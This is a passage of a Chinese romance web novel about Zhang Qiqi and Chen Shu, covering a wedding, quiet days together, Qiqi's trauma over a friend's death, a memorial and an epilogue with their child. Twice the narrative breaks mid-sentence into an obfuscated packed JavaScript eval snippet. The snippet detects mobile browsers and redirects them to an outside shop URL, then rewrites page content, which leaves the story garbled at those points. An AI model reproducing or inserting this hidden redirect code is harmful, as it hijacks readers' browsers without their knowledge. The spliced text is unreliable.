婚礼进行到最后一个环节,新娘捧着鲜花站在了台上,台下单身的女孩子笑嘻嘻地捧着场,一群人挤在下方,眼巴巴地望着新娘手中的鲜花,更甚至还有律所社畜青年眼冒金光地伸出手,期待接到花束,期待告别苦逼的单身生涯。 他们想谈甜甜的恋爱啊!! 张期期、林听站在最后面,只是当作凑个热闹地看着。 张期期笑着:“你看侯蕊,跑到最前面了……” 林听微笑道:“她刚刚说想找到不是因为她的外貌而喜欢上她的人……” 张期期:…… 与此同时,人声鼎沸,鲜艳绽放的花束在空中形成一道抛物线砸向了张期期和林听的方向,林听下意识闪开,独剩下反应不及、还留在原地的张期期下意识地伸出手了…… 前方蓄势待发、准备快手接花的人们顺着花束的抛物线转头往后看,鲜花稳稳地落在了张期期的怀里。 哇—— 他们齐刷刷地看向一旁眼里全是张期期的陈恕,他露出了笑容,王思哈哈笑着跑到他的身边,锤了锤他的胸口,哈哈笑道,“看来接下来是你小子啊——” 蒋文哐哐拍着陈恕的肩膀,“好事将近啊……” 关宇:“别忘了请我们啊……” 高中的男同学簇拥着陈恕,调侃起他来,陈恕隔着人群,视线对上了满脸通红的张期期。 周围欢声笑语一片,好像所有人都觉得陈恕一定会娶张期期…… 124. [锁] [此章节已锁] - 人来人往的机场,张期期双手握着林听的手,依依不舍道:“林听,在京照这边备考也可以啊,到时候要上学再回去华城不就好了吗?” “你一个人在华城孤零零的,我不放心啊!我舍不得你!”张期期改成抱着林听的手臂摇了摇。 在离开了校园生活好几年的林听决定考研,决定上华大,完成曾经没有完成的梦想。 她笑着摇了摇头,“期期,我很喜欢华城,想呆在华城备考,学习累了的时候就去华大逛一逛。”即便曾经的她学习是优秀的,但多年未拿起课本,她要考研也还是很难的。 华大是她充电的地方…… 林听这么说,张期期只好松开抱着她的手,遗憾道:“那……好吧。”片刻后,她又急切地道:“我还是每天都会给你发消息的。” 林听笑道:“好,我不会让你担心的。一定会当天回你的消息。” “嗯嗯!”张期期重重点头。 周嘉先笑了笑,“华城那边有我大学的同学,有什么急事你就打电话给我。” “好,我知道了。你们都放心吧。”林听无奈道。 此时,机场开始提醒某些航班即将检票,请旅客抓紧时间过安检。 林听看了看时间,“好了……时间差不多了,我得过去安检口了。”她伸手抱了抱张期期,“期期,再见。” “嗯,再见……” 林听朝陈恕、周嘉先点点头,随即拉着20寸的小行李箱转身离开……而在她身后不远处,身形挺拔的男人沉默地站着,许敬亭目送她再次离开。 * 入了秋之后,京照市的雨季便来临了,整座城市笼罩在阴雨绵延中,空气又湿又凉。 下午五点多,天色灰蒙蒙的。 张期期拢了拢身上的长袖薄针织外套,她收起了伞,将伞放在金颂律所的门口后轻轻推开门走了进去。 一眼望进去,员工办公区的同事低着头忙碌地工作着,前台小姐姐见是她,笑着站了起来,对方正欲开口时,张期期竖起食指抵在唇前嘘了一声,她不想打扰到正在工作的他们。 前台小姐姐笑着点了点头,张期期轻手轻脚地绕过员工办公区走到了陈恕的办公室门口。 她轻轻敲了敲门,听到里面传来一声低沉的“进”时,便推开一条小缝溜了进去。此刻的陈恕以拳抵着额头,凝眉看着桌上的文件,她很少见到他工作的模样,因此便悄悄打量了好一会儿。 陈恕并未抬眸,他等了一会儿没听到进来的员工说话,微微皱起眉头看过去…… “期期……”陈恕一愣,笑了起来,他站起身走过去,伸手将人揽在怀里,拥着她往沙发的位置坐下,“你怎么来了?” 这时,陈恕才注意到磅礴的雨顺着玻璃墙汇聚成一股,模糊了他望出去的视线,外面下着大雨。 “下大雨了,有没有被淋湿?”陈恕打量了她一会,握着她微凉的手轻轻搓了搓,“冷不冷?你怎么过来的?” 张期期眉眼弯弯,“你这么多个问题,我回答哪一个先?” 陈恕也笑了,她身上的裙子没有被雨水打湿的痕迹,但头发发尾有些湿润,于是他从茶几下的柜子里抽出一条干净的毛巾帮她把湿润的发尾擦干。 擦干后,他又将人揽在怀里,低声道,“现在只需要回答你怎么来了的问题。” 张期期脸红了一瞬,拍了拍他的手臂,“现在在你办公室内……”她微微挣扎了一下,陈恕也就顺势松开了抱着她的手臂。 “也没什么事啊,就是想找你逛逛街。这阵子一直下雨,在家里呆得好闷啊!”她抿了抿唇,抱怨道。 此时此刻,她并没有意识到鹿海市漫长的雨季里,她长年累月呆在那儿,却从未觉得闷得慌,然而现在,仅仅是京照市十几天的雨天她就受不了,究其原因只不过是现在的她慢慢爬出了过往她给自己罩起来的蜗壳。 可是的她满心愧疚、自虐式地对待自己,提不起走向外界的兴趣,现在一切都在慢慢好起来了,也包括她负累满满的心。 陈恕眼底温和,他双手捧着她的脸,大拇指指腹摩挲了一下,低声道:“好,你再等我一会,马上就下班了。” “嗯。”张期期眸光流转,在陈恕返身坐在椅子上工作时,她轻手轻脚地溜进了办公室内的小套间。 正在工作的陈恕瞥了一眼,嘴角微扬。 张期期熟练地从套间内的小冰箱里拿出一个备好的小蛋糕,小口小口地吃着,嗯……还有她喜欢喝的饮品。 吃完之后,她趴在沙发上刷着手机等了一会儿,不久后,陈恕推开了套间的门,朝她招了招手,“走了,期期,我们下班了。” “哦,好……”她一溜烟地爬起来,开开心心地抱住了他的手臂,陈恕笑了笑。 走出办公室后,张期期便松开了手,陈恕眼眸微闪,牵着她的手,张期期有些不好意思道:“别牵我,楼下你的同事还没下班呢。” “没事,他们看不见的。”陈恕笑道。 张期期:…… 两人轻手轻脚地绕过员工办公区,走出了金颂律所。然而当律所的大门关上时,寂静无声的员工办公区仿佛突然活了过来一样…… 方宜站起身来探着头啧啧道:“真当我们看不见呢!老板牵着老板娘的手,脸都要笑烂了吧……” “就是就是!不过他们到底什么时候结婚啊?我们周律师都结婚了呢!” 助理小林忍俊不禁,“别催了,我还不知道你的心思!上次周律师结婚,我们去参加婚礼了,周律师不仅没收我们的份子钱,回来上班的时候还给我们大家都发了超大红包,让我们沾沾喜气。你是想收老板的超大红包吧?” “哈哈哈——被你发现了……我就问你,你不想收超大红包吗?” 助理小林一噎:…… “我想。” 所以他们什么时候能结婚呢??? …… 而律所同事议论着的张期期和陈恕此刻已经在逛商场,张期期用手扇着风,一一闻着室内香薰的味道,“陈恕,这个味道好闻……” “你打算放哪里?”陈恕笑着道。 “放你房间啊!”张期期笑着。 陈恕吸了口气,还是点点头,道:“好,那就放我房间。你喜欢就好。” 买了香薰之后,张期期又逛了几家女装店,试了几套衣服,还给陈恕挑了几件衬衫,然后在逛超市的时候,她整个人累得不行。 陈恕无奈地摸了摸她的发顶,低声哄道:“你坐这儿等我一下,我买完菜回去给你做饭,还是你想出去吃?” “不在外面吃了,最近外面的我都吃腻了。你快点,我等你买完回家。” “好,我会快点的。” 回家,家……陈恕的心软得一塌糊涂,他推着推车,熟练地买菜买肉结账。 等回到陈恕家的时候,张期期已经缓了过来,她从一大堆袋子里翻出了她挑的香薰,兴冲冲地跑进了陈恕的房间。 一进他的房间,张期期立刻闻到了一股她也喜欢的香薰味,哦……好像是她之前挑的,啊,这个味道真不错,那…… 她看了看自己手中的香薰,心道:那这个等下次再摆吧,等现在的这个用完先。 她熟练地拉开房间的柜子,玻璃瓶相撞的声音响起,张期期低头一看,嘛……柜子里密密麻麻装满了,全是她挑的香薰…… 她一顿,将柜子推回去,又拉开下一个柜子,等等……张期期瞪大了眼睛,怎么这个柜子里也全是香熏,她买了那么多吗? 似乎是听到了张期期的心声,倚靠在房门处的陈恕忍不住笑出声,“嗯,你确实买了很多,每次路过一家香薰店就要进去买,都变成你的打卡地点了……” 张期期尴尬地笑了笑,是这样吗?她都没意识到啊,“那……下次我要是想买的话,你就制止我吧。” “也不用,每个味道都不一样,不是吗?”陈恕笑着道。 张期期闻言,狠狠点头,激动道:“是吧,你也这样觉得!每个味道都是我喜欢的,精挑细选选出来的,一个我都不舍得错过。” 陈恕若有所思地点点头,又道:“你先玩会儿,我去做饭。” 不一会儿,厨房内传出了食物的香气,张期期眼眸亮晶晶的,她最近不回家吃饭都不用告诉她妈妈了,因为她妈妈和张阿姨这段时间都在国内各地巡演。 唔……她已经跟着她妈妈跑了近十场节目表演,她实在跟不动了。这个时候她是真的体会到她妈妈的坚韧和毅力了,她只是一个看节目的观众而已,都受不了这么奔波。 张期期轻手轻脚地走出了房间,手臂挂在厨房玻璃门的把手上,下巴垫在手臂上,笑着轻轻动了动鼻尖,“好香啊……” 她正呆呆盯着陈恕看,陈恕刚好将洗干净的菜放下油锅,滋啦一声,有油滴溅起,张期期吓了一跳。 陈恕熟练且淡定地翻炒着,一边还朝张期期道:“有油烟,你先出去吧。客厅的茶几上有洗好的葡萄,饿了可以先吃一点,但不要吃太多,要吃饭了。” “哦,好的。”张期期看了眼他正翻炒的菜,嗯……是她喜欢的。 隔着玻璃门,陈恕看见她趴在茶几上,一颗一颗往嘴里塞着葡萄,还打开了电视,应该是在看搞笑类的综艺节目吧。 窗外风雨声渐起,厨房内食物香气缭绕,客厅里电视声音响着,时不时还有她的笑声出现,陈恕只觉得他空荡荡的心仿佛在被慢慢地填满。 过了夏至,昼越短夜越长,再加上今日是阴雨天,天很快就变得一片漆黑。 陈恕做了三菜一汤,因为只有两个人,所以每一份菜的分量都不多,仅够他们两个人吃。 厨房内的灯光是暖色调的,陈恕嘴角带着笑意地看着张期期开心吃着完全合她口味的菜色,客厅的电视也没有关,任由它播放着…… 他微微侧首,视线从阳台望出去,对面的楼层闪烁着各家的灯火。片刻后,他收回视线,眼底、心底满足而安逸,眼前的期期像只小仓鼠一样脸颊一鼓一鼓地吃着,他笑了,现在这万家灯火中也有属于他的一盏了。 …… 吃完饭,陈恕收拾了碗筷去厨房刷碗,而张期期则倚靠在沙发上刷着手机。 窗外的雨还在下着,淅淅沥沥地充斥在她的耳膜上,厨房内洗碗的水流声潺潺,像极了她难以入眠时专门去找的催眠白噪音。 因此,张期期刷着手机的动作越来越慢,眼帘也渐渐垂下,睡意慢慢变浓…… 然而就在此时,陈恕刚好刷完碗,厨房的玻璃门一开便发出了细微的声响,这道声响在催眠的白噪音中极为不和谐,所以一下子惊醒了半梦半醒的张期期。 她半睁着眼坐直起来,循声望向刚擦完手走出来的陈恕,陈恕见状愣了下,连忙走过去,他伸手摸了摸她的额头,道:“你在这睡着了?会不会冷?下次困了去房间里睡好不好?” 阳台的窗没有关紧,所以有风吹进来,他有点担心她吹着风会生病。 张期期顺势抱着他的手,将人拉着坐下来,又钻进他怀里,瓮声瓮气道:“没事,我不冷。” 陈恕低低地“嗯”了一声,将她的双手攥在手心里一下又一下地摩挲着,他的下巴蹭了蹭她的发顶。 怀中的人身上传来另一种味道的香薰,很好闻,他下意识地循着心中的意愿埋首在她的脖颈处,鼻子轻轻地嗅着,唇瓣若有似无地轻吻着,他双手用力将人牢牢地禁锢在他的怀里。 张期期下意识低吟了一声,身体渐渐软下来,任由着陈恕微凉的唇落在她的脖颈处。只是半响过后,他似乎不满足于此,探过头来,鼻尖一下又一下地轻蹭着她的脸颊,片刻后又咬住了她的双唇,转辗吮吸。 唇齿相碰间,陈恕趁势侵入。他压着她贪婪地亲吻着,因为坐姿的问题,她只能靠在他身上,纤细的脖颈微微往后仰,任他转辗吮吸。她瘫软在他的怀里,呼吸慢慢急促。 淅淅沥沥的雨声越渐小声,雨慢慢小了。 等张期期回过神来时,陈恕身上的白色衬衫已经被她揪得皱皱巴巴,她身上的裙子也凌乱着,裙摆攒到了肚子上。她脸红了一大片,想撇过脸,陈恕却双掌捧着她的脸,静静地看着她。 “陈恕……”她低声轻喃着。 “嗯。” 张期期睫毛颤了颤,红润的唇微微抿了抿,陈恕的眼神愈发暗沉,视线锁定在她身上,她微微动了一动,想退开他的怀抱。 “别动……”一声压抑的低沉声响起。 张期期完全不敢动了,她就在他怀里,怎么会感受不到,她有些无措,微微带了哭腔,“陈恕……” 陈恕额头上青筋直跳,他深吸一口气,咽了咽喉咙,压下心中强烈的渴望,声音低哑,“别怕,我没想做什么的。” 张期期轻声嗯了一下。雨终于停了,陈恕才松开了抱住她的双臂,退开了一些。 “雨停了,我得回家了,木木还在家等着我呢!”张期期脸红耳热,她察觉到陈恕的目光沉沉地落在她的脸上,她不敢抬眸,生怕撞上他仿佛要将人溺毙的眼神。 屋内寂静无声,陈恕看着满眼羞涩的她,完全舍不得让她离开,但也知道再接着下去会吓到她的。 “陈恕……”张期期轻声喊着他的名字。 陈恕顿了顿,“再…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032814|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再待一会儿好吗?期期。” 张期期指尖一缩,她忽然想起年少时,在亲密的行为上她大大咧咧地,横冲直撞,反倒是陈恕,那时的她亲吻他时,他总是震惊又不可置信。 然而现在……那个羞涩、沉默的少年长成了身形高大挺拔、一举一动带着极强的掠夺感,亲吻她时给她带来了心惊胆颤的压迫感。 “我不会做什么的,期期……再、再待一会儿好吗?”陈恕复又将人轻轻抱在怀里。 张期期心一软,“那……好吧。” 阳台还未完全关紧的窗吹进来带着湿润的凉意,张期期涨红脸上的热度稍微退了一些,她生怕陈恕再起什么心思,便有意说说话转移他的注意力。 说什么好呢?张期期望着阳台外朦胧雨雾的世界,忽然想起了远在那边的鹿海市,那一年她刚到鹿海的时候是四月份,恰逢当地连绵的雨季。 她靠在他的怀里,那些厚重、沉闷压抑的回忆仿佛不再那么难以开口,曾经以为这辈子都不会说出口的晦涩,如今在偶然的这一天,她仿佛有了诉说的欲望。 “陈恕……”她微微往后靠了靠,靠在他的胸膛上,双手握着对方环绕着放在自己小腹处的手臂,她眼眸微抬便能看见他的下颌角。 “怎么了?”他的声音在寂静的夜色中仿佛带着蛊惑一般。 “那时候,我离开京照前去学校找过你,但你已经走了……我不是故意不告而别的。”张期期低声道。 陈恕愣了下,皱起了眉头,“你什么时候去学校找我的?” “唔……那天中午的时候吧。”张期期回忆道。 中午的时间点……陈恕眼底闪过一丝苦涩和无力,原来竟是如此阴差阳错…… 他扯了扯嘴角,语气很平静地说起了他在年级办公室门口撞见老师将她的档案袋取出,准备拿给她家里人的事,又在周一那天早上没见她来上学便以为她真的跟随着陆向川离开了,“……我当时若是再等一等就好了。” 张期期瞪大双眼,那段时间她被关在家里,就是这段时间让陈恕以为自己已经跟随着陆向川去美国了? 陈恕垂眸望着她惊讶的眼神,忽然问道:“……为什么那天早上你没有来学校?是……在收拾行李吗?为什么你没去美国反而去了鹿海市?” “我……”张期期抿下唇,眼底闪过难堪和愤恨,时至今日,她依旧无法原谅张世明,“……那天我被我爸锁在了房间里。我逃出来后,进过他的书房才发现我的档案袋是他让人拿的,他还背着我偷偷给我申请了美国的签证。” “我不想任他摆布,就拿着重要的证件跑了,当时差不多是中午的时候,我没在学校见到你,曾老师也说你去德国了,所以……我也就走了。” 说到这里,张期期眼眶忽然红了起来,“那天……我没想到那天居然是我见兰亭的最后一面……我当时要是不走,或者我当年要是不说那句话的话,是不是一切就会不一样?是我诅咒了兰亭,是我……我为什么要说那句话,我为什么要说……是我对不起林听,对不起兰亭,对不起敬亭哥他们。” 靠在他怀里的她蓦然脸色煞白,眼神悲呛,浑身止不住地开始颤抖,她甚至想扇自己巴掌。 陈恕脸色一变,连忙按住她的手,这么强烈的应激反应,期期她根本没有完全走出来,这些日子的岁月安好原来全都是他的错觉。 “期期!期期!”他厉声打断她混乱的思维,他知道这个时候和她说不怪她,兰亭的死和她没有关系她一定听不进去的,所以他转移了话题,“期期!为什么你爸爸非要你和陆向川去美国?” 混沌、疯狂的思维忽而卡顿了一下,张期期迷茫了片刻,陈恕趁机抽了张纸巾擦去她脸颊上的泪水,循循诱道:“为什么你爸爸一定要你和陆向川去美国呢?” 张期期开始思考起来,哦……这个问题得从她爸出轨讲起,她的情绪很快从刚才的悲痛欲绝中抽离了出来,仿佛刚才没有忽然激烈地哭泣过一样。 这种反应……陈恕的心止不住地开始下沉,而期期却已经开始讲起了她爸妈的情感史…… 陈恕心里揣着刚才的事,有一搭没一搭地听着,相对于期期的心理问题上来讲,其他的对他来说都不重要了,哪怕是期期现在说当年她就是故意抛弃他,真的和别人去美国,他都觉得不要紧了…… 但即便有一搭没一搭地听着,鉴于他是超忆症,所以她的话还是完全进入了他的脑海中,他皱起了眉头,很快就意识到曾经他怎么都想不明白的问题。 原来就是因为她父母的婚变、情感的破裂导致她害怕他因为她的存在而放弃了本就选择好的未来,人心易变,她赌不起,更不想他和她之间将来步上她父母的后尘。 原来是这个原因啊……陈恕心中无声地呢喃道。 “……所以我爸想要张家和陆家联姻,不过嘛……”她自嘲地笑了笑,“现在不用了,他早就娶了资本相当的另一个女人,还有了个快十岁的男孩子。” “当时离婚的时候你妈妈有没有争取到应得的东西?”陈恕忽然问道,资本家很精明,离婚这种事上女方有时候还会吃大亏。 张期期噗嗤笑了一声,“这是你们律师的职业素养吗?” 陈恕无奈地笑了一下,“没办法,我接到过几个企业家离婚的案子,他们……嗯……”他露出了一言难尽的表情。 “我懂的。”张期期点头道,她以前虽然和圈子里的大部分人处不来,但并不是什么都不懂,“你放心,我妈还是很厉害的,也可能当时张家处于一个微妙、即待踏入新领域的时间点,还有可能我爸以为能顺利让我和陆家联姻,为了稳住我,各方面综合来讲,当时我爸不敢做得太过分。” 陈恕听着,笑着点了点头,“阿姨真厉害。” 张期期一听,顿时骄傲不已,“那是,不仅如此,我妈妈还给我争取到了属于我的一部分资产!”她开心地坐直身体,张开手臂挥了挥,“有很多很多哦……就算将来我不画画了,躺着也不用发愁,不过……我暂时还不想动那些东西,就是感觉有点膈应吧。反正我画画赚的钱也够我花了……” “嗯。”陈恕笑了笑,“没关系,你不想花你爸的钱,以后花我的钱。”他顺手从丢在一旁沙发上的公文包里拿出黑色的钱包,将银行卡放在了她的掌心。 张期期愣愣地看了一眼,“可是……我们还没结婚呢?还没结婚你就把卡交给我吗?” “我们不是在谈恋爱吗?谈恋爱也可以把卡给你啊。”陈恕心痒难耐地用脸蹭了蹭她的发顶。 张期期眉眼弯弯地背靠着他仰头望着陈恕,陈恕垂下头,嘴巴轻轻碰了碰她的鼻梁。 …… 125. 第 125 章 - 室内的灯光泛着暖意,雨停之后,夜色静谧。 张期期手掌心贴在陈恕抱着她的手臂上,耳儒鬓染间她低声问道:“……陈恕,你留学回来之后有见过陈岩夫妻俩吗?他们还有没有纠缠过你啊……” 陈恕沉默了一瞬,“陈岩三年前因为故意杀人被判了死刑,已经执刑了。” “啊?”张期期惊讶不已。 陈恕语气淡淡:“陈家宝死了之后,他们夫妻俩就开始闹离婚了,陈岩不同意,因为陈家宝治病花了很多钱,他大概是觉得没了儿子又没妻子亏了吧,一直没有答应。” “后来……”他眼底闪过一丝嘲讽,“他妻子出轨了,被他撞见,怒气上头就拿刀砍伤了他妻子和他妻子的情夫,男的重伤死了,他也被判了死刑。” “执行死刑的前一晚,他想见我,我没去……” 张期期伸手摩挲了一下他的眼尾,轻声道:“嗯,一个无关紧要的人而已,不去就不去。” “你不觉得我狠心吗?”陈恕握住她贴在他脸上的手。 张期期皱了皱眉,“怎么会,是我的话,我会觉得很解气!!” “……你说过,当年要不是他拿了拆迁款在外面乱说,引狼入室,你、你弟弟、还有你妈妈怎么会遭遇那些事。可恨的是,他明明也是害你们的罪魁祸首之一,却偏偏无可奈何他,现在好了,天道好轮回,出轨者,人恒出轨之!”她气愤道。 陈恕笑了,“嗯,我也是这么想的。” “哦,对了……那个……你弟、曾逸飞呢?你们有联系吗?” 陈恕摇了摇头,“没有,他和曾老师离开了。我其实不担心他,曾老师很好,小最他很幸运。” 张期期闻言,伸手抱住了他,紧紧地贴在他的身上,陈最很幸运,而她身边的陈恕却吃尽了苦头。 她心里泛着酸意,头蹭了蹭他的胸膛,那些刻在他身上的疤痕虽然已经变得极淡极淡了,甚至他的双臂还特意去做了激光淡疤,但她知道那些苦痛在陈恕的心中一直都没有褪色,或者说永远都不会褪色。 …… 夜幕低垂,张期期顾念着家中的木木,提出要回家的意见,但经过了刚刚她自己都没有意识到的应激反应,陈恕哪里敢让她一个人呆在凰屋别墅区那边。 最终,两人回了一趟凰屋别墅区,将木木还有木木的生活用品带了过来。 家里多了一个女人,又多了一只橘猫,往日稍显冰冷的房子明明没有多大的变动,却让他觉得浑然不同了。 待张期期关上了主卧的房门,木木也趴在专属它的垫子上入睡后,陈恕才回了客房,他站在床边凝望着黑沉沉的夜色良久良久,脑海子一直回忆着方才期期在兰亭的事情上突然崩溃,又突然情绪快速抽离的情况。 他的脑海中蓦然闪过一缕思绪,陈恕打开了桌面上的笔记本电脑,他再次点进去七七的个人微博号反反复复地看着,其中有个时间点让他非常在意。 陈恕顿了顿,又查找了鹿海市美术学院那段时间在网络上的一切讯息,最终他翻出来一个新闻,以及新闻下方一些学生发表的评论。 他的手颤抖了一下,整个人往后一靠,无力地靠在椅背上,期期那段时间到底发生了什么,他大概清楚了…… 鹿海市美术学院的后山有个已经荒废了的篮球场,那一天篮球场上被发现了一具男性尸体,而发现尸体和报警的人大概就是他的期期。 陈恕深吸了一口气,他无法想象当时的期期受到怎样的惊吓,篮球场、在篮球场上死去的男性,或许那一幕成为了期期心中兰亭去世的画面…… 他脑海中回忆着刚才新闻底下的评论,据说事故现场很血腥,暗沉的血在惨白的尸体上干涸了,那些同学还说第一个发现事故现场的女孩子后来总是请假,好像是得了厌食症。 厌食症……陈恕嘴角紧紧抿住,难怪她的胃会变得那般脆弱,难怪她吃不了她曾经喜欢吃的麻辣水煮鱼,水煮鱼确实在某种程度上像惨白的肉,而漂浮着的辣油或许会让期期一下子联想到鲜血的血…… 陈恕抬起手臂遮住了双眼,大概就是她生病了,所以资助他读书的丁义珍女士才会同意他汇钱过去。怎么……怎么那个时候他却不在期期的身边呢?该死! 他任由自己的情绪低迷了好一会儿,才重新振作起来。 没关系,一切还来得及,现在期期的胃已经慢慢在养了,但是她在兰亭这件事上的应激反应实在是让他担忧不已。 陈恕指尖动了动,在市中心医院的精神科挂了个号,他准备自己先去探一探、问一问。 而另一边主卧室内,张期期辗转反侧,睁着眼望着一片漆黑的屋顶,时间一分一秒慢慢地熬着,终于在天光微微破晓的时分她才沉沉睡去。 好在翌日是周六,陈恕竖起耳朵,主卧内安安静静的,期期似乎还在睡着。他换了身衣服,眼疾手快地抓起正准备挠门的木木,给它套上了项圈,一人一猫蹑手蹑脚地走出了家门。 清晨,路面的地还是湿润的,但好在没有继续下雨,阳光从云层中透了几缕出来,今日看起来会是个晴天。 陈恕在附近的菜市场买了菜,准备回去煮海鲜粥,而木木则挂在陈恕的一只手臂上。他眼神认真,买菜而已,却偏偏让人觉得他仿佛在签数额巨大的商业合同一样认真。 等推开家门,陈恕发现期期还没醒,便先去厨房将早餐做好,好在海鲜粥煲久一点也可以,粥会更入味、更醇香柔糯。 木木趴在垫子上吃着它碗里的饲料,吃完了又懒洋洋地趴着,也不去挠门了,陈恕笑了笑,揉了揉它的脑袋。 海鲜粥煮熟了,陈恕先吃了一碗,想到昨天晚上他在市中心医院精神科的预约,他写了张便签贴在餐桌上,告知了对方早餐还在砂锅里保温着,他有事要出去一趟,很快就回来。 …… 陈恕直奔市中心医院的精神科,虽然是周末,但精神科并没有太多患者。机器叫号很快就叫到了陈恕,护士抬眸一看,眼里闪过怜悯,这么年轻清俊的男人怎么就脑子有问题呢? 护士将门关上,给医生和病人腾出了私密空间。 陈恕将张期期的情况仔仔细细讲给了医生听,医生沉默地听着,等陈恕讲完后,他道:“……如果平时的生活上没有其他问题,仅仅是在某个特定的人、事上有这么激烈的反应,其实最好的办法就是尽量避免谈及到。” “情况也不算严重,没必要用药。总之先远离让她受到刺激的因素,再创造一个舒适、与刺激性因素完全不同的环境,尽量让她保持心情愉悦,家属再多多观察她的情绪。” 陈恕认真地听着,最后医生道:“不过最好还是让本人来一趟。” “我知道了,谢谢医生。” 陈恕回到家时,推开门就看到张期期坐在餐桌旁慢慢地吃着粥,见他回来,她眼眸一亮,“你回来啦?” “嗯。”陈恕笑了笑,换了鞋后走过去,他观察了一下,发现她的脸色还可以,稍微有点黑眼圈而已。 “你在看什么啊?”张期期嘟囔道。 “没事,先吃粥吧。”陈恕弯腰摸了摸她的侧脸。 “哦,好……” …… 一整个周末,陈恕和张期期都赖在一起,有时逛逛超市, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042877|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有时去附近的公园散散步,遛遛猫,在家里陈恕办公时,张期期也会接接稿子,画画稿子,她的个人用品、绘画用具等等在陈恕这边也备了一套。 日子就这么细水流长地过去了,翻过这个秋,京照的凛冬来临,接着是次年的早春、初夏。 京照市今年的夏天来得很早很早,气温在某一天忽然就飙高了,阳光绚烂明媚。张期期半趴在阳台上的栏杆上听着电话…… 【期期,我考研考上了,华大录取我了。】 张期期一听,刷地一下子站直了身体,眼眸顿时亮晶晶的,“哇——好棒哦,林听,你一考就考上了,好厉害啊!” 电话另一边,林听眼尾微红,她攥着一个装着泥土的透明玻璃瓶摩挲着,眼里满是眷恋和怀念,听着电话那边期期激动的声音,她微微露出了带着涩意的笑容,“期期,我这几天会回京照一趟。” 这几天……哦,现在是四月初了,过两天是兰亭的十年忌日。张期期握着电话的指尖微微颤抖,她哑着嗓子道,“好,到时候我去接你。” 【好。】 挂了电话后,张期期脸色的笑容瞬间消失,眼神沉重、无力,整个人显得有些颓然。她目光涣散地随意扫了一眼房间内,却在镜子里看到憔悴的她,黑眼圈有些重啊…… 最近她的睡眠又迎来了一个艰难的时期,不过她也习惯了,每年的这段时间她总是难以入眠。 机场冰冷的空调风吹着,陈恕揽着最近有些消瘦的张期期、周嘉先站在一旁,一行三人望着机场的出站口。 没一会儿,林听拉着行李箱走了出来,张期期挣脱陈恕的怀抱,立刻跑到林听的面前,眉眼弯弯地给了她一个怀抱,“回来啦?” “嗯……回来了。”林听眼眸微动,期期好像对比起上次她在微信视频里见到的她要瘦了一点,是因为这个时间点吗? 她的目光忍不住落在不远处陈恕的脸上,陈恕微微点了点头,关于期期的应激反应,他几天前和林听透露过几句。 林听微笑着挽住张期期的手臂,周嘉先则自觉地上去拉着行李箱,又落后她们几步,和陈恕走在后方。 林听边和张期期聊着华城、华大的事情,余光偷偷地瞥着一旁的她,“兰亭、瓢泼大雨”,这两个要素会触法她的应激反应。 悔恨莫及,林听偷偷红了眼眶,她当年尖锐、恶毒的话语反噬在了期期的身上。 张期期此刻却没注意到这一点,她笑着道:“先哥推荐了一家很不错的餐厅,我和陈恕也去吃过,真的很不错,现在到饭点了,我们一起去吧。” “好。”林听哑着嗓子,强忍着哽咽道。 张期期:? “林听,你嗓子不舒服吗?” 林听深吸一口气,“不会,就是有点口渴了。” “啊,我带了水……” * 四月七号,兰亭十年忌日的这一天,阳光明媚、气温适宜、微风吹拂……陈恕心中一直绷着的弦终于松了下来。 时隔十年,他们一行人终于再次齐聚。几束鲜花放在了冰冷的墓碑前,墓碑上少年的笑容一如当年般绚烂如夏。 林听摸了摸冰凉的墓碑,将她考上华大的消息告诉了他。 一行人伫立良久,直到日头渐渐升到天际的最上方,他们才转身离开……人生在世,生与死的界限很清晰,有的人继续向前走,有的人则被留在了那个初夏。 张期期、陈恕、林听、周嘉先走后,一把黑色的遮阳伞从树后的阴影里走出来,许敬亭将花放在了墓碑前,凝望着墓碑上弟弟的笑容。 …… 【正文完】 126. 番外一 - 张期期发现陈恕最近有点焦虑,比如说现在……明明今天是周一,他应该去律所上班的,但他此刻依旧磨磨蹭蹭地没有出门。 “期期,我记得安安的老师不是说在手机上下载个什么软件,平日里我们家长上班的时候可以看到幼儿园的监控画面吗?要不,你也给我下载一个。” 安安,是他们的女儿,已经满三周岁了,上喜乐幼儿园小班。 喜乐幼儿园是京照市最好的幼儿园,每天早上八点多,幼儿园的校车就会准时出现在他们家门口,安安会自己背着小书包上校车。 之前都是陈恕上班的时候顺道送她上学,但安安不知道是在幼儿园听小朋友说了什么,回到家里一直提出要像其他的小朋友一样坐校车上学,不要她爸开车送了…… 张期期至今还记得那一天晚上,陈恕仿佛被雷劈了的神情一样。唔……老父亲还没老,就先被女儿嫌弃了…… “你上班那么忙,有空看监控吗?别打扰你工作了,而且你是老板,总不好带头摸鱼吧?”张期期试图打消他的想法。 “没事。不是很忙。而且我有独立办公室,摸鱼别人也看不见的。”陈恕坚持道。 张期期顿了下,看着他坚持的眼神,她露出了无奈的笑容,道:“真是拿你没办法。手机拿过来,我帮你下载一下,这个需要邀请码才能下载的。” “好。”陈恕立刻拿出了手机,坐在张期期的身边看着她操作。 如愿看到自己的手机里下载了可以看幼儿园监控视频的陈恕眼底露出了安心的神情,他将身边的张期期揽入怀中,低声道:“安安现在还小,等她长大了,我就不会这样了。” “等她再长大一点,也再多给我一点时间,好吗?期期。” 